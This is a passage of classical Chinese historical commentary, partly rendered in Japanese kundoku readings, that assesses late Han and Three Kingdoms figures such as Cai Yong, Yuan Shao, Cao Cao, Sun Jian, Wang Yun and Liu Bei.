憤積し、而れども快志於一朝。髠鉗之危辱深、而圖安於晚歲。非懼禍也、誠以卓能矯宦官之惡、而庶幾於知己也。於是而其氣餒矣。以身殉卓、貽玷千古、氣一餒而即於死亡、復誰與恤其當年之壯志哉。\n君子之立身、期於潔己。其出而事君也、期於靖國。恩怨去就、非有定也。禍在宮闈、則宮闈吾所亟違也。禍在閹宦、則閹宦吾所亟違也、禍在權姦、則權姦吾所亟違也。推而至於僭竊之盜賊・攘奪之夷狄、皆冰炭之乍投而沸・薰猶之逆風而辨也。所疾惡者在此、而又在彼矣。氣運移而貞邪忽易、違之於此、而即之於彼、是逃虎而抱蛇・舍砒而舍鴆也。能終始數易而不染者、其唯執志如一而大明於義之無方者乎。而邕不能也。始終之怨毒、宦豎而已、此外而篡弒之巨憝不辨矣。非不辨也、己私未忘、而寵辱之情移於衰老也。則一往之勁直、烏足以定人之生平哉。易曰、「介于石、不終日」。介於石、貞之至也。不終日、見幾而無執一之從違、乃以保其貞也。邕勿論矣。欲養浩然之氣、日新其義而研之以幾、其尚以邕為戒乎。\n◆申屠蟠\n申屠蟠征而不至、論者謂之知幾。幾者、事之微、吉兇之先見者也。漢之亡、天下之亂、董卓之不可與一日居、有目者皆見、有耳者皆聞、自非蔡邕之衰老惛迷、孰不知者、而何謂之幾邪。乃若蟠之不可及也、則持志定而安土之仁不失也。卓之徵名賢也、蔡邕畏之矣、荀爽畏之矣。人勸蟠以行、蟠笑而不荅、人不可與語也、志不自白也。夷然坦然而險阻消、蟠豈中無主而能然哉。故知其志定而安土之仁不失也。\n士茍貞志砥行以自尚、於物無徇焉、於物無侮焉、則虎狼失其暴、蝮蛇失其毒。天下之穰穰而計禍福者、皆足付一笑而已。故莊子曰、「大浸稽天而不溺、大旱金石流而不熱」。豈有神變不測者存乎。貧而安、犯而不校、子孫不累其心、避就不容其巧。當世之安危、生民之疾苦、心念之而不嘗試與謀。文章譽望、聽之後世而不亟於自旌。其止如山、其涵如水、通古今・參萬變以自純、則物所不得而辱矣。此安土之仁、所謂即體以為用者也、蟠庶幾矣。何以知之。以其笑而不荅知之也。而淺人猶謂之曰知幾、若邕與爽、其僅謂之不知幾也與。\n◆三国政権の成立に関する論評\n詭譎鷙悍の才有りて、下位に在りて速やかに非望を覬する者は、其れ滅亡 必ず速からん。故に王莽・董卓・李密・朱泚 俱に踵を旋さずして殄ぶ。又 其の下なる者は、則ち張角・黃巢・方臘の妄を為し、以て自ら殲するのみ。其の大位を得て、奪ふと雖も僭しうると雖も、而猶可以為數十年人民之天下之禍亂為己任。君長は、之を子孫に傳へ、無道にして亡に後ぶ。則ち必ず其の始めて起るや、未だ嘗て神器を窺竊するの心有らず、而奮志戮力以一至於功立威震、上無駕馭之主、然後萌不軌之心、以不終其臣節而獵大寶、得天下而不可以一日居、未有或爽者也。\n關東の兵を起こして以て董卓を誅するは、袁紹より始まる。紹の卓に抗するや、曰、「天下健者、豈惟董公」。其の志 知る可きなり。及其集山東之兵、聲震天下、董卓畏縮而劫帝西遷以避之、使乘其播遷易潰之勢、速進而撲之、卓其能稽天討乎。乃諸州郡之長、連屯於河內・酸棗、躊躇而不進。其巽懦無略者勿論也。袁紹 術と與に、始め志は銳にして當たる可からざるも、而れども猶然とし棲遲なること此の若く、無他、早懷覬覦之志、內顧卓而外疑群公、且つ幸漢之亡於卓而己得以逞也。\n斯の時に於けるや、蹶起して以て卓と死生を爭ふは、曹操・孫堅なるのみ。操曰く、「董卓未亡之時、一戰而天下定」。使一戰而天下定、操其能獨有天下乎。既敗於滎陽、且勸張邈等勿得遲疑不進、失天下望、而邈等不用、操乃還軍。當斯時、操固未有擅天下之心可知也。以操為早有擅天下之心者、因後事而歸惡焉爾。孫堅の始めて起つや、許生を斬りて功は已に著はれ、張溫の軍事に參じて、邊章を討ちて名 已に立ち、非不可傑立而稱雄也。奮起誅卓、先群帥而進屯陽人、卓憚之而與和親、乃曰、「不夷汝三族懸示四海、吾死不瞑目」。獨以孤軍進至雒陽、埽除宗廟、修塞諸陵、不自居功、而還軍魯陽。當斯時也、可不謂皎然於青天白日之下而無慚乎。故天下皆舉兵向卓、而能以軀命與卓爭生死者、堅而已矣。其次則操而已矣。豈袁紹等之力不逮操與堅哉。操與堅知有討賊而不知有他、非紹・術挾姦心以養寇、而冀收刺虎持蚌之情者所可匹也。故に他日は、天下を三分し、而して操は其の一を得て、堅は其の一を得て、堅の子孫 且に操に後れて亡ぶ。堅の正は、猶ほ愈於操之速易其心者多矣。\n故天下非可以一念興而疾思弋獲者也。漢高之入關中、思亡秦而王關中耳、項羽弒義帝、而後有一天下之心。刱業之永、天所佑也。董卓 死して、李・郭 亂し、袁紹 河北を擅にして帝室を忘れ、袁術 竊み、劉表 僭し、獻帝 馭する能ふ莫く、而る後に曹操の篡志 生ず。曹操 天子を挾し、袁紹を夷し、劉琮を降し、而る後に孫權の割して據定す。是れ操の漢を攘するは、袁紹 之を貽せり。堅の子孫 江南に僭號するは、曹操 之を貽せり。謂操與堅懷代漢之心於起兵誅卓之日、論者已甚之說。豈諒人情・揆天理・知興廢成敗之定數者乎。以詭譎之智・鷙悍之勇、乘間抵巇、崛起一朝而即思天位、妄人之尤者爾、而何足以臨臣民・貽子孫邪。\n孟子曰、「五霸、假之也」。假之云者、非己所誠有、假借古人之名義・信以為道之謂、非心不然而故竊其迹也。無其學、無其德、則假矣。名與義生於乍然之心者、固非偽也。王莽之於周公、張角之於老耼、不可謂之假也。曹操 驍騎校尉の職を受けず、東歸して眾を合し、進みて滎陽に戰ひ、而して孫堅 兵を長沙に起し、進みて魯陽に屯し、卓を拒みて和親するの日に當たり、而して以て神器を窺竊すの罪に坐す。則ち張角・黃巢・方臘創業を以て子孫に貽す可く、而して安祿山・朱泚・苗傅・劉正彥尤優為之矣。誅非其の罪而徒だ以て姦を長し、深文之害世教、烈矣哉。\n◆蔡邕の愚に対する評価\n蔡邕の愚は、不亡身而不止。愚而寡所言動者、困窮而止。愚而欲與人家國神人之大、則人怒神恫而必殺其軀。邕之應董卓召而歷三臺、此何時也。帝后弒、天子廢、大臣誅夷、劫帝而遷、宗廟燒、陵寢發、人民駢死於原野、邕乃建議奪孝和以後四帝之廟號、舉三代興革之典禮於國危如線之日、從容而自衒其學術、何其愚也。\n而不但愚也。漢之宗社岌岌矣、諸廟之血食將斬矣。夫茍痛其血食之將斬、諱先祖之惡而揚其美、以昭積功累仁之允為元后也、猶恐虛名之無補。乃亟取和帝之涼德不足稱宗者而播揚之、是使姦雄得據名以追咎曰、是皆不可以君天下者、而漢亡宜矣。此則人怨神恫、陷大惡而不逭者也。\n情理を以て之を推すに、邕 豈に但だ愚なるのみや。邕之髠鉗而亡命、靈帝使之然也。四帝可宗、則靈帝亦可宗矣。邕蓋欲修怨於靈帝、而豫窒其稱宗之路、邕於是而無君之心均於董卓、王允誅之、不亦宜乎。董卓曰、「為當且爾、劉氏種不足復遺」。邕 固より曰く「劉氏の祖考 復た尊ぶに足らず」と。其の情 一なり。故に曰、邕 但だ愚なるのみに非ず。然り雖も、神 其れ欺く可きか、神 其れ恫す可きか。則ち亦た愚なるのみ。\n11 三 12 韓馥・袁紹奉劉虞為主、是項羽立懷王心・唐高祖立越王侑之術也。虞秉正而明於計、豈徇之哉。王芬欲立合肥侯而廢靈帝、合肥侯愚而曹操拒之、合肥以免。劉虞之賢必不受、操知之矣。故但自伸西向之志、而不待為虞計。於是而知操之視紹、其優劣相去之遠也。操非果忠於主者、而名義所在、昭然繫天下之從違、固不敢犯也。未有犯天下之公義、而可以屈群雄動眾庶者也。 13 或曰、馥・紹之議、亦惡乎非義哉。春秋之法、君弒而為弒君者所立、則正其為篡。梁冀弒質帝而桓立、董卓弒弘農王而獻立、獻不正乎其為君、則關東諸將欲不奉獻為主而立虞、惡乎不可。 14 曰、執春秋之法以議桓帝之不正其始、得矣。帝方以列侯求婚於梁氏、趨國門而承其隙、未嘗無覬覦之心焉、則與與聞乎弒者同乎賊。使有仗大義以誅冀者、桓帝服罪而廢焉、宜也。且順・桓之際、漢方無事、而不亟於求君也。若獻帝之立、年方九歲、何進之難、徒步郊野、漢不可一日而無君、帝自以明了動卓之欽仰、弘農廢、扳己以立、未能誓死以固辭、幼而不審、無大臣以匡之、而卓之凶燄、且固曰、「劉氏種不復留」。則舍己以延一線之祀、是亦義也、而況其在幼沖乎。袁紹遷董卓之怨以怒帝、其為悖逆也明甚。操知之審、而曰、「我自西向」。知帝之可以系人心、劉虞雖賢、無能遙起而奪之也。桓帝之誅冀、以嬖寵之怨、而不忌其弒主之逆。董卓之誅、則已正名之為賊矣、以賊討卓、則弘農之大讐已復、獻帝可無慚於踐阼矣。視晉景・魯定而尤正焉、而何容苛責之也。 15 四 16 所謂雄桀者、雖懷不測之情、而固可以名義馭也。明主起而馭之、功業立、而其人之大節亦終賴以全。惟貪利樂禍不恤名義者為不可馭之使調良、明主興、為彭越・盧芳以自羅於誅而已。不然、則亂天下以為人先驅、身殪家亡而國與俱敝。曹操可馭者也、袁紹不可馭者也。 17 起兵誅卓之時、操與孫堅戮力以與卓爭生死、而紹晏坐於河內。孫堅收復雒陽、乘勝以攻卓、在旦晚之間也、而紹若罔聞。關東諸將連屯以偕處、未有釁也、而紹首禍而奪韓馥之冀州。先諸將而內訌者、無賴之公孫瓚也、而紹誘之以首難。然則昔之從臾何進以誅宦官、知進之無能為而欲乘之以偪漢爾、進不死、紹固不容之、而陳留又豈得終有天下乎。鮑信曰、「袁紹自生亂、是復有一卓也」。孫堅曰、「同舉義兵、將救社稷、逆賊垂破而各若此、吾將誰與戮力」。雖有漢高・光武、欲收紹而使效奔走、必不得也。李密之所以終死於叛賊也。 18 自其後事而觀之、則曹操之篡成、罪烈於紹、而操豈紹比哉。諸將方爭據地以相噬、操所用力以攻者、黑山白繞也、兗州黃巾也、未嘗一矢加於同事之諸侯。其據兗州自稱刺史、雖無殊於紹、而得州於黃巾、非得州於劉岱也。擊走金尚者、王允之賞罰無經有以召之也。然則獻帝而能中興、操固可以北面受賞、而不獲罪於朝廷、而不軌之志戢矣。 19 紹擁兵河北以與操爭天下、而操乃據兗州以成爭天下之勢。紹導之、操乃應之。紹先之、操乃乘之。微紹之逆、操不先動。雖操之雄桀智計長於紹哉。抑操猶知名義之不可自我而干、而紹不知也。然則雖遇高・光之主、紹亦為彭越・盧芳而終不可馭、身死家滅而徒為人先驅。貪利樂禍、習與性成、非一朝一夕之故矣。 20 五 21 孫堅之因袁術也、猶先主之因公孫瓚也、固未可深責者也。漢高帝嘗因項梁矣、唐高祖下李密而推之矣、以項氏世為楚將、而密以蒲山公之後、為天下所矜也。天下之初亂也、人猶重虛名以為所歸、故種師道衰老無能為、而金人猶憚之。袁氏四世五公之名、烜赫宇內、孫堅崛起、不能不藉焉。彼公孫瓚之區區、徒擁眾梟張耳、昭烈且為之下、而況術乎。 22 夫堅豈有術於心中者哉。賊未討、功未成、以長沙疏遠之守、為客將於中原、始繇術以立大勛、而速背之、則術必懷惎毒以撓堅之為。進與卓為敵、而退受術之掣、劉虞懷忠義而死於公孫瓚、職此繇也。使堅不死、得自達於長安、肯從術以逆終而為亂賊之爪牙乎。劉表之收荊州也、卓之命也、眾皆討卓而表不從、表有可討之罪焉。因袁術之隙而為之討表、實自討也。若堅者、雖不保其終之戴漢、而固未有瑕也、與術比而姑從之、惡足以病堅哉。 23 六 24 管寧在遼東、專講詩書・習俎豆、非學者勿見、或以寧為全身之善術、豈知寧者哉。王烈為商賈以自穢、而逃公孫度長史之辟命、斯則全身之術、而寧不為也。天下不可一日廢者、道也。天下廢之、而存之者在我。故君子一日不可廢者、學也。舜・禹不以三苗為憂、而急於傅精一。周公不以商・奄為憂、而慎於踐籩豆。見之功業者、雖廣而短。存之人心風俗者、雖狹而長。一日行之習之、而天地之心、昭垂於一日。一人聞之信之、而人禽之辨、立達於一人。其用之也隱、而搏捖清剛粹美之氣於兩間、陰以為功於造化。君子自竭其才以盡人道之極致者、唯此為務焉。有明王起、而因之敷其大用。即其不然、而天下分崩・人心晦否之日、獨握天樞以爭剝復、功亦大矣。 25 繇此言之、則漢末三國之天下、非劉・孫・曹氏之所能持、亦非荀悅・諸葛孔明之所能持、而寧持之也。寧之自命大矣、豈僅以此為禍福所不及而利用乎、邴原持清議、而寧戒之曰、「潛龍以不見成德」。不見而德成、有密用也。區區當世之得失、其所矜而不忍責・略而不足論者也。白日之耀、非鐙燭之光也。寧誠潛而有龍德矣、豈僅曰全身而已乎。 26 七 27 王允誅董卓、而無以處關東諸將、雖微李傕・郭氾、漢其能存乎。首謀誅卓者袁紹、是固有異志焉、而不可任者也。曹操獨進滎陽、雖敗而志可旌。孫堅首破卓而復東都、糞除宗廟、修治陵園、雖死而其子策可用也。急召而錄其功以相輔於內、傕・氾失主而氣奪、安敢側目以視允乎。區區一宋翼・王弘、傕・氾且憚之、而不敢加害於允、而況操與策也。允之倚翼與弘、皆其所私者也、操與策非其所能用者也、而又以驕氣乘之、不亡何待焉。 28 或曰、操非可倚以安者、允而召操、則與何進之召卓也何以異。此又非也。進不能誅宦官而倚卓、進客而卓主矣。允之誅卓、無假於操、而威大振。操雖姦、賞之以功、旌之以能、綏之以德、束之以法、操且熟計天下而思自處。故王芬之謀、劉虞之議、必規避之、而不敢以身為逆。當此之時、眾未盛、威未張、允以談笑滅賊之功臨其上而駕御之、操抑豈敢蹈卓之覆軌乎。策方少、英銳之氣、誘掖之以建忠勳也尤易、而奚患召之為後害哉。允非其人也、智盡於密謀、而量不足以包英雄而馴擾之、加以驕逸、而忘無窮之隱禍、其周章失紀而死於逆臣、不能免矣。 29 東召孫・曹而西屬涼州之兵於皇甫嵩、則二袁・劉表・公孫瓚不足以逞。二袁・劉表・公孫瓚不逞、而曹操亦無藉以啟跋扈之心。天下可定也、況李傕・郭氾之區區者乎。 30 〖八〗 31 馬日磾・趙岐之和解關東也誰遣之。於時李傕・郭氾引兵向闕、種拂戰死、天子步出宣平門、王允・宋翼・王弘駢死闕下、宮門之外皆仇敵也、而暇念及於袁・劉・公孫不輯於千里之外邪。故知非獻帝遣之、傕・氾遣之也。關東諸將之起、以誅卓起。傕・氾、卓之部曲也、其引兵犯闕、以報卓之讐為辭、呂布東走、而傕・氾安能不憂誅卓之師浸加於己哉。欲求款於關東而恐其見拒、則姑以天子之詔為和解之迂說、亦其雖為卓報仇、而於關東則均為王臣、無異志也、此不款和而妙為款和者也。劉表則自刺史而牧矣、曹操上書而優而使之歸矣、征朱儁為太僕矣、皆傕・氾以求免於關東之善術也。嗚呼。日磾・岐為漢之大臣、而受賊之羈絡以聽其頤指、其頑鄙而不知恥、亦至是哉。 32 夫與賊同立於朝、所難者不能自拔耳。二子者、幸而得銜命以出、是溫嶠假手以圖王敦之機會也。紹・術・瓚・表雖懷異志、而朱儁・曹操・劉虞・孫策、夫豈不可激厲入援以解天子之困厄。而命之曰和解、則以和解畢事、曾不知有問及中朝者、二子將何辭以答也。故遣日磾・岐者、傕・氾也。奔走於諸將之間、靦顏以嚅囁者、為傕・氾效也。為天下賤、不亦宜乎。 33 九 34 曹操父見殺而興兵報之、是也。坑殺男女數十萬人於泗水、徧屠城邑、則慘毒不仁、惡滔天矣。雖然、陶謙實有以致之也。謙別將掩襲曹嵩而殺之、謙可謝過曰不知、然使執殺嵩者歸之於操、使臠割而甘心焉、則操亦無名以逞。乃視嵩之死、若獵人之射麏、分食其肉而不問所從來、亦何以已暴人之怒哉。 35 且操之擊謙也、以報私讐、而未嘗無可託之公義也。李傕・郭氾稱兵向闕、殺大臣、脅天子、人得而誅者也。謙首唱誅逆之謀、奉朱儁以伐逆而戴主、傕・氾以太僕餌儁、以牧餌謙、其力弱而畏我也可見矣。知其弱、懼其餌、儁雖志義不終、而謙自可奮興以致討。乃聽王朗之謀、邀寵於賊臣、而受州牧之命、則欲辭黨逆之誅而無所逭。操執此以告天下、而天下孰為謙援者乎。蓋謙之為謙也、貪利賴寵、規眉睫而迷禍福者也。然則曹嵩之輜重、謙固垂涎而假手於別將耳。吮鋒端之蜜、禍及生靈者數十萬人、貪人之毒、可畏也夫。 36 一○ 37 國家積敗亡之道以底於亂、狡焉懷不軌之志、思獵得之者眾矣、而尚有所忌也。天子不成乎其為君、大臣不成乎其為相、授天下以必不可支之形、而後不軌者公然軋奪無所忌。 38 關東起兵以誅卓、而無效死以衛社稷之心、然固未敢逞其攘奪也。至於卓既伏誅、王允有專功之心、而不與關東共功名、可收以為用者勿能用、可制之不為賊者弗能制、而關東之心解矣。允以無輔而亡、李傕・郭氾以無憚而訌、允死、而天下之心遂為之裂盡。李・郭殺大臣、脅人主、關東疾視而不問、馬日磾・趙岐之庸鄙、受二凶之意旨以和解行、而實為逆賊結連衡之好、然後關東始堅信漢之必亡。於是而曹操上書之情、非復滎陽之志矣。孫堅即不死、而不保其終、策以孤立之少年、走劉繇、逐王朗、殺許貢、跳躑於江東矣。張邈・陶謙・呂布・劉備互相攻而不戢矣。二袁之思移漢鼎以歸己、又顯著其跡矣。環視一獻帝而置之若存若亡之間、以無難紾其臂而奪之。嗚呼。遲之十餘年、而分崩之勢始成。天下何嘗亡漢、而漢自亡、尚孰與憐之、而興下泉苞稂之思者乎。 39 王允非定亂之人也、馬日磾・趙岐、則手授天下於群雄者也、漢之終亡、終於此也。 40 一一 41 亂天下者、託於名以逞其志。故君子立誠以居正、而不競以名、則託於名者之偽露以敗、而君子伸。亂天下者、並其名而去之不忌、則能顧名以立事者、雖非其誠而志欲伸、無可為名者、莫能勝也。管・蔡內挾孺子・外挾武庚以為名、非無名也、自不可敵周公之誠也。項羽立義帝而弒之、並其名而去之矣。漢高為帝發喪、名而已矣、而天下戴之以誅羽之不義。使義帝而存、漢高之能終事之也、吾不敢信、然而以討項羽則有餘。故胡氏曰、「與其名存而實亡、愈於名實之俱亡」。此三代以下之天下、名為之維持也大矣。 42 袁紹不用沮授之策、聽淳于瓊而不迎天子於危困之中、授曰、「必有先之者」。而曹操果聽荀彧迎帝以制諸侯。夫無君之心、操非殊於紹也、而名在操、故操可以制紹、而紹不能勝操。操之勝也、名而已矣。 43 雖然、名未易言也。名而可以徒假與、則紹亦何憚而不假。淳于瓊曰、「今迎天子、動則表聞、從之則權輕、違之則拒命」。故曹操遷許以後、外而袁紹恥太尉之命、內而孔融陳王畿之制、董承・劉備・伏完・金禕交起而思誅夷之。入見殿中、汗流浹背、以幾幸於免。與紹之恣睢河北唯意欲為而莫制者、難易之勢、相懸絕也。茍不恤其名、而唯利是圖、則淳于瓊之言、安知其不長於荀彧哉。假令衣帶詔行、曹操授首於董承・伏完・金禕之手、則授・或之謀、豈不適為瓊笑。而非然也、出天子於棘籬饑困之中、猶得奉宗廟者二十餘年、不但以折群雄之僭、即忠義之士、懷憤欲起、而人情之去就、尚且疑且信而不決於從也。瓊之情唯利是圖、受天下之惡名而不恤、紹是之從、欲不亡也、得乎。 44 名與利、相違者也。實與名、末相違而始相合也。舉世騖於名、而忠孝之誠薄。舉世趨於利以舍名、而君臣父子之秩敍、遂永絕於人心。故名者、延夫人未絕之秉彞於三代之下者也。夫子於衛輒父子之際、他務未遑、而必先正名、蓋有不得已焉耳。 45 一二 46 劉先主之刺豫州、因陶謙也。其兼領徐州、亦因陶謙也。二袁・曹操、皆受命於靈帝之末、呂布・劉表、亦拜爵王廷而出者、唯先主未受命也、而不得不因人以興。始因公孫瓚、繼因陶謙、周旋於兩不足有為者之左右、而名不登於天府、是以屢出而屢敗。孔北海知之已夙、而何為不颺於王廷。北海之疏也。敗於呂布而歸許、然後受命而作牧、望乃著於天下。以義揆之、則受陶謙之命兼領二州、其始不正、故終不足以動天下而興漢、亦始謀之不臧哉。 47 及其為左將軍、受詔誅操而出奔、乃北奔於袁紹、託非其人矣、而非過也。何也。既已受命誅操、則許都之命制自操者、義不得而受也。結孫權而分荊、奪劉璋以收益、可以不受命矣。可不受命而制自己、故雖不足以興漢、而終奄有益州、以成鼎足之形。 48 使其於陶謙授徐之日、早歸命宗邦、誅傕・氾以安獻帝、紹與操其孰能禦之。而計不及此、孔北海亦莫之贊焉、徒與袁術・呂布一彼一此、爭衡於徐・豫之間、惜哉。 49 一三 50 張巡守睢陽、食盡而食人、為天子守以抗逆賊、卒全江・淮千里之命、君子猶或非之。臧洪怨袁紹之不救張超、困守孤城、殺愛妾以食將士、陷其民男女相枕而死者七八千人、何為者哉。張邈兄弟黨呂布以奪曹操之兗州、於其時、天子方蒙塵而寄命於賊手、超無能恤、彼其於袁・曹均耳。洪以私恩為一曲之義、奮不顧身、而一郡之生齒為之並命、殆所謂任俠者與。於義未也、而食人之罪不可逭矣。 51 天下至不仁之事、其始為之者、未必不託於義以生其安忍之心。洪為之、巡效之而保其忠、於是而朱粲之徒相因以起。浸及末世、凶歲之頑民、至父子・兄弟・夫妻相噬而心不戚、而人之視蛇蛙也無以異、又何有於君臣之分義哉。 52 若巡者、知不可守、自刎以徇城可也。若洪、則姑降紹焉、而未至喪其大節。憤興而憯毒、至不仁而何義之足云。孟子曰、「仁義充塞、人將相食」。夫楊・墨固皆於道有所執者、孟子慮其將食人而亟拒之、臧洪之義、不足與於楊・墨、而禍烈焉。君子正其罪而誅之、豈或貸哉。 53 一四 54 董承潛召曹操入朝、操至而廷奏韓暹・楊奉之罪、誅罪賞功、矜褒死節、而漢粗安。惜哉、承之行此也晚、而王允失之於先也。 55 當斯時也、漢之大臣、死亡已殆盡矣。天子徒步以奔、而威已殫矣。從官采梠餓死、而士大夫之氣已奪矣。故董昭謀遷帝於許、尚懼眾心之不厭、而卒無有一言相抗者。若當董卓初誅之日、廷猶有老成之臣、人猶堅戴漢之心、劉虜懷忠於北陲、孫堅立功於雒陽、相制相持、而允之忠勛非董承從亂之比、操亦何敢遽睥睨神器・效董卓之狂愚乎。 56 王允坐失之、董承不得已而試為之。為之已晚、而無救於漢之亡、然而天下亦自此而粗定。觀於此而益為允惜、誠可惜而已矣。 57 一五 58 范增之欲殺沛公、孫堅之欲殺董卓、為曹操謀者之欲殺劉豫州、王衍之欲殺石勒、張九齡之欲殺安祿山、自事後而觀之、其言驗矣。乃更始殺伯升而國終亡。司馬氏殺牛金而家終易。故郭嘉之說曹操、勿徒受害賢之名、而曹操笑曰、「君得之矣」。有識者之言、非凡情可測也。 59 人之欲大有為也、在己而已矣、未有幸天下之不肖、而己可攘賢而自大者也。茍可以大有為、則雖有英雄、無能為我難也。茍未可以有為、則何知天之生豪傑者不再生也。待獺以敺魚、待鸇以敺雀、此封建之天下為然爾。起於紛亂之世而欲成大業、非能屈天下之英雄、不足以建非常之業。忌英雄而殺之、偷勝天下之庸流以為之雄長、則氣先苶。而忽有間起之英豪乘之於意外、則神沮志亂而無以自持。若此者、曹操之所不屑為、而況明主之以道勝而容保無疆者乎。盡己而不憂天下之我勝、君子之道、而英雄繇之。不能仿佛於君子之道而足為英雄者、未之有也。 60 一六 61 劉表無戡亂之才、所固然也、然謂曹操方挾天子・擅威福、將奪漢室、而表不能興勤王問罪之師、徒立學校・修禮樂、為不急之務、則又非可以責表也。 62 表雖有荊州、而隔冥阨之塞、未能北向以爭權、其約之以共滅曹氏者、袁紹也、紹亦何愈於操哉。紹與操自靈帝以來、皆有兵戎之任、而表出自黨錮、固雍容諷議之士爾。荊土雖安、人不習戰、紹之倚表而表不能為紹用、表非戡亂之才、何待杜襲而知之。表亦自知之矣。躊躇四顧於袁・曹之間、義無適從也、勢無適勝也、以詩書禮樂之虛文、示間暇無爭而消人之忌、表之為表、如此而已矣。中人以下自全之策也。不為禍先而僅保其境、無袁・曹顯著之逆、無公孫贊樂殺之愚、故天下紛紜、而荊州自若。迨乎身死、而子琮舉土以降操、表非不慮此、而亦無如之何者也。 63 杜襲之語繁欽曰、「全身以待時」。襲所待者曹操耳、欽與王粲則邀官爵醼樂之歡於曹丕者也、夫豈能鄙表而不屑與居者哉。諸葛公僑居其土、而云「此中足士大夫遨遊」。亦唯表之足以安之也。天下無主、而徒以責之表乎。 64 一七 65 呂布不死、天下無可定亂之機、昭烈勸曹操速殺之、此操所以心折於昭烈也。 66 當時之競起者眾矣。孫堅、以戡亂為志者也。劉焉妄人也、而偷以自容。劉表文土也、而無能自立。袁紹雖疏而有略、其規恢較大矣。狂愚而逞者袁術、而猶飾偽以自尊。頑悍而樂殺者公孫瓚、而猶據土以自全。若夫倏彼倏此、唯其意之可奰發、旦暮狂馳而不能自信、唯呂布獨也。而有驍勁之力以助其惡、嗾之斯前矣、激之斯起矣、觸之斯閧矣、蹂躪於中夏而靡所底止、天下未寧而布先殪、其自取之必然也。呂布殪、而天下之亂始有乍息之時、亂人不亡、亂靡有定、必矣。 67 嗚呼。布之惡無他、無恆而已。人至於無恆而止矣。不自信而人孰信之。不自度而安能度人。不思自全、則視天下之糜爛皆無足恤也。故君子於無恆之人、遠之唯恐不速、絕之唯恐不早、可誅之、則勿恤其小惠・小勇・小信・小忠之區區而必誅之、而後可以名不辱而身不危。與無恆者處、有家而家毀、有身而身危、乃至父子・兄弟・夫婦之不能相保。論交者通此義以知擇、三人行、亦必慎之哉。 68 一八 69 漢武・昭之世、鹽鐵論興、文學賢良競欲割鹽利以歸民為寬大之政、言有似是而非仁義之實者、此類是也。夫割利以與民、為窮民言也。即在瀕海瀕池之民、茍其貧弱、亦惡能食利於鹽以自潤、所利者豪民大賈而已。未聞割利以授之豪民大賈而可云仁義也。鹽猶粟也、人不可一日無者、而有異。粟則徧海內而生、勤者獲之、惰者匱之。鹽則或懸絕於千里之外、而必待命於商賈。上司其輕重、則雖苛而猶有制。一聽之豪民大賈、居贏乘虛、其以厚取於民者無制、而民不得不償、故割利以與豪民大賈而民益困。王者官山府海以利天下之用而有制、以不重困於民、上下交利之善術也、而奚為徇寬大之名以交困國民邪。與其重徵於力農之民、何如取給於天地之產。鹽政移於下、農民困於郊、國計虛於上、財不理、民非不禁、動浮言以談仁義者、亦可廢然返矣。 70 衛覬曰、「鹽、國之大寶也」。置鹽官賣鹽、以其直市犂牛給民、勤耕積粟、行之關中而民以綏、強敵以折。施及後世、司馬懿拒守於秦・蜀之交、諸葛屢匱而懿常裕、皆此為之本也。覬之為功於曹氏、與棗祗均、而覬尤大矣。 71 一九 72 韓高、智而狡者也。劉表舊與袁紹通、而曹操方挾天子以為雄長、紹之不敵操也、人皆知之、故杜襲・繁欽・王粲之徒、日夕思歸操以取功名。嵩亦猶是而已矣。高之勸表以歸操、明言袁・曹之勝敗、而論者謂其奉戴漢室、過矣。 73 嵩之欲詣許也迫、而固持之以緩、其與表約曰、「守天子之命、義不得為將軍死」。先為自免之計、以玩弄表於股掌之上、堅辭不行、而待表之相強、得志以歸、面折表而表不能殺、亦陳珪之故智、而嵩持之也尤堅。表愚而人去之、操巧而人歸之、以中二千石廣陵守遂珪之志、以侍中零陵守遂嵩之志、珪與嵩之計得、而呂布・劉表之危亡系之矣。二子者、險人之尤也、豈得以歸漢為忠而予之。 74 二○ 75 董承受衣帶詔、與先主謀誅曹操、乘操屯官渡拒袁紹之日、先主起兵徐州、勢孤而連和於袁紹。勿論待人者不足以興、即令乘間而誅操、紹方進而奪漢之權、先主・董承其能制紹使無效操之尤而彌甚乎。不能也。然則此舉也、亦輕發而不思其反矣。董承者、與亂相終始、無定慮而好逞其意計者也。前之召操、與今之連紹、出一軌而不懲、弗責矣。先主亦慮不及此、而輕為去就、何以為英雄哉。 76 夫先主之於此、則固有其情矣。其初起也、因公孫瓚、因陶謙、雖為州牧、而權藉已微、固不能與袁・曹之典兵於靈帝之世、與於誅賊之舉者齒。故旋起旋躓、而姑託於操。及其受左將軍之命、躬膺天子之寵任、而又承密詔以首事、先主於是乎始得乘權而正告天下以興師。曹操之必篡、心知之矣。袁紹之為逆、亦心知之矣。脫於操之股掌、東臨徐・豫、孤倡義問以鼓人心、乘機而興、不能更待、紹不可達而連之、姑使與操相持、己因得以收兵略地為東向之舉、而有餘以制群雄、先主之志、如此而已。初末嘗倚紹以破操、而幸紹之能戴漢以復興也。董承・種輯亦惡足以知其懷來哉。 77 故許先主以純臣、而先主不受也。其於獻帝、特不如光武之於更始、而豈信其可終輔之以盪群凶乎。故連和於紹而不終、未嘗恃紹也。操即滅、紹即勝、先主亦且出於事外而不屑為紹用。先主之東操心悔之而不懼、紹遙應之而不堅、亦已知之矣。他日稱尊於益州、此為權輿。特其待操之篡而後自立焉、故不得罪於名教、而後世以正統加之、亦可勿媿焉。 78 二一 79 曹操東攻先主、田豐說紹乘間舉兵以襲其後、紹以子疾辭豐而不行、紹雖年老智衰、禽犢愛重、豈至以嬰兒病失大計者。且身即不行、命大將統重兵以躡之、亦詎不可。而紹不爾者、紹之情非豐所知也。操東與先主相距而紹乘之、操軍必驚駭潰歸、而先主追躡之、操且授首。先主誅操入許而擁帝、紹之逆不足以逞、而遽與先主爭權。故今日弗進、亦猶昔者擁兵冀州、視王允之誅卓而不為之援、其謀一也。 80 豈徒紹哉。先主亦固有此情矣。紹之興兵而南、眾未集、兵未進、雖承密詔與董承約、抑可姑藏少待也。待紹之進黎陽・圍白馬、操戰屢北、軍糧且匱、土山地道交攻而不容退、乃徐起徐・豫之兵、亟向許以拒曹之歸、操且必為紹禽。而先主遽發以先紹者、亦慮操為紹禽、而己擁天子之空質、則紹且梟張於外而逼我、孤危將為王允之續矣。惟先紹而舉、則大功自己以建、而紹之威不張。紹以此制先主、先主亦以此制紹、其機一也。 81 夫先主豈徒思誅操而縱紹以橫者乎。兩相制、兩相持、而曹操之計得矣。急攻先主而緩應紹、知其陽相用而陰相忌、可無俟其合而迫應其分。先主惡得而不敗。紹惡得而不亡。此其機先主與紹緘之於心、非董承之所察、而田豐欲以口舌爭之、不亦愚乎。 82 二二 83 